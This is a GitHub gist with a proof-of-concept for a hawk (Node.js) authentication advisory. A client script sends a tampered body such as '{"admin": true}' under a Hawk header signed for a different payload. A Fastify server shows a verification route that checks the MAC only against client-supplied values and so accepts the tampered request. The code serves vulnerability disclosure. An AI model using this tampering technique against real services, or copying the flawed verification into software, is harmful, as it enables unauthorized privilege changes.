Skip to content

Instantly share code, notes, and snippets.

@chrisdlangton
Last active July 24, 2023 01:30
Show Gist options
  • Save chrisdlangton/cd32ad083294c56c509828a7b9f7e90e to your computer and use it in GitHub Desktop.
Save chrisdlangton/cd32ad083294c56c509828a7b9f7e90e to your computer and use it in GitHub Desktop.
PoC for GHSA-mrcf-5cch-47mc mozilla/hawk
/**
* Gist: https://gist.github.com/chrisdlangton/cd32ad083294c56c509828a7b9f7e90e
* Advisory: https://github.com/chrisdlangton/hawk/security/advisories/GHSA-mrcf-5cch-47mc
*/
const hawk = require('hawk')
const credentials = {
id: 'dh37fgj492je',
key: 'werxhqb98rpaxn39848xrunpaw3489ruxnpa98w4rxn',
algorithm: 'sha256'
}
const host = "127.0.0.1"
const port = "3000"
const target = `http://${host}:${port}`
async function send(method, uri, body = null, contentType = "text/plain") {
// modify the payload to simulate a MitM
let bad_body, intended_body;
if (body && typeof body !== 'string') {
bad_body = `{"admin": true}`
intended_body = JSON.stringify(body)
}
const timestamp = Math.floor(hawk.utils.now() / 1000)
let headerOptions = { credentials, contentType, timestamp }
if (intended_body) {
headerOptions.payload = intended_body
}
const authz = hawk.client.header(`${target}${uri}`, method, headerOptions) // will be sent
if (authz.artifacts.hash) {
console.log(`payload hash that will be sent ${authz.artifacts.hash}`)
const example_what_should_be = hawk.client.header(`${target}/${uri}`, method, { credentials, payload: bad_body, contentType, timestamp })
console.log(`payload hash should be sent for modified payload ${example_what_should_be.artifacts.hash}`)
// example_what_should_be is discarded, was only used to demonstrate the changed hash
}
const mode = "no-cors"
const headers = new Headers()
headers.append("Content-Type", contentType)
console.log(authz.header)
headers.append("Authorization", authz.header) // notice we send the hash from intended_body
const options = { method, headers, mode, body: bad_body } // notice we send the bad_body with hash for intended_body
return await fetch(`${target}${uri}`, options).then(response => {
console.log(response.status, response.statusText)
return response.text()
})
}
const data = {
role: 'Guest',
userId: '8cd0ae55-115a-4154-8a01-91ffbb6753f9'
}
send("GET", "/verify").then(console.log).catch(console.log)
send("POST", "/will-not-fail-when-payload-tampered", data, "application/json").then(console.log).catch(console.log)
send("POST", "/should-fail-when-payload-tampered", data, "application/json").then(console.log).catch(console.log)
/**
* Run with: node api.js
*/
const hawk = require('hawk')
const fastify = require('fastify')()
const Cryptiles = require('@hapi/cryptiles');
const timestampSkewSec = 60
const credentials = {
id: 'dh37fgj492je',
key: 'werxhqb98rpaxn39848xrunpaw3489ruxnpa98w4rxn',
algorithm: 'sha256'
}
fastify.post('/will-not-fail-when-payload-tampered', (req, reply) => {
console.log(req.headers.authorization)
try {
const host = req.hostname.split(':')[0]
const port = Number(req.hostname.split(':')[1])
const attributes = hawk.utils.parseAuthorizationHeader(req.headers.authorization);
const artifacts = {
method: req.method,
host,
port,
resource: req.url,
ts: attributes.ts,
nonce: attributes.nonce,
hash: attributes.hash,
ext: attributes.ext,
app: attributes.app,
dlg: attributes.dlg,
mac: attributes.mac,
id: attributes.id
};
console.log('attributes', attributes)
console.log('artifacts', artifacts)
// calculateMac is broken; compares client provided values with client payload hash
// i.e. compares itself with itself
const mac = hawk.crypto.calculateMac('header', credentials, artifacts);
if (!Cryptiles.fixedTimeComparison(mac, attributes.mac)) {
reply.code(403)
reply.send(`${mac} !== ${attributes.mac}`);
return
}
reply.send(artifacts);
} catch (err) {
reply.code(401)
reply.send(err);
}
});
fastify.post('/should-fail-when-payload-tampered', async(req, reply) => {
console.log(req.headers.authorization)
try {
const payload = req.body.raw
const host = req.hostname.split(':')[0]
const port = Number(req.hostname.split(':')[1])
const res = await hawk.server.authenticate(req, () => credentials, { payload, host, port, timestampSkewSec })
console.log('result artifacts', res.artifacts)
if (!res) {
reply.code(403)
}
reply.send(res.artifacts);
} catch (err) {
console.log(err);
reply.code(401)
reply.send(err)
/**
* This fails but before it fails it will incorrectly calculate mac using
* client provided payload hash, and that will PASS which it a security issue.
*
* The only reason it will return Unauthorized when payload is tampered even after
* it will PASS the mac check, is because luckily there is a final 'input validation'
* that catches the payload hash mis-match. BUT it did it using input validation only,
* for it to be correct it should FAIL earlier during mac calculation BECAUSE
* the mac signature is in fact supposed to have been INVALID but was incorrectly
* checked as VALID
*/
}
});
fastify.get('/verify', async (req, reply) => {
try {
const res = await hawk.server.authenticate(req, () => credentials, { timestampSkewSec })
console.log('result artifacts', res.artifacts)
if (!res) {
reply.code(403)
reply.send(res.artifacts);
}
} catch (err) {
console.log(err);
reply.code(401)
reply.send(err)
}
});
fastify.addContentTypeParser(
"application/json",
{ parseAs: "string" },
function (_, body, done) {
try {
let newBody = {
raw: body,
json: JSON.parse(body),
};
done(null, newBody);
} catch (error) {
error.statusCode = 400;
done(error, undefined);
}
}
);
const start = async () => {
try {
await fastify.listen({ port: 3000 });
} catch (err) {
process.exit(1)
}
};
start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment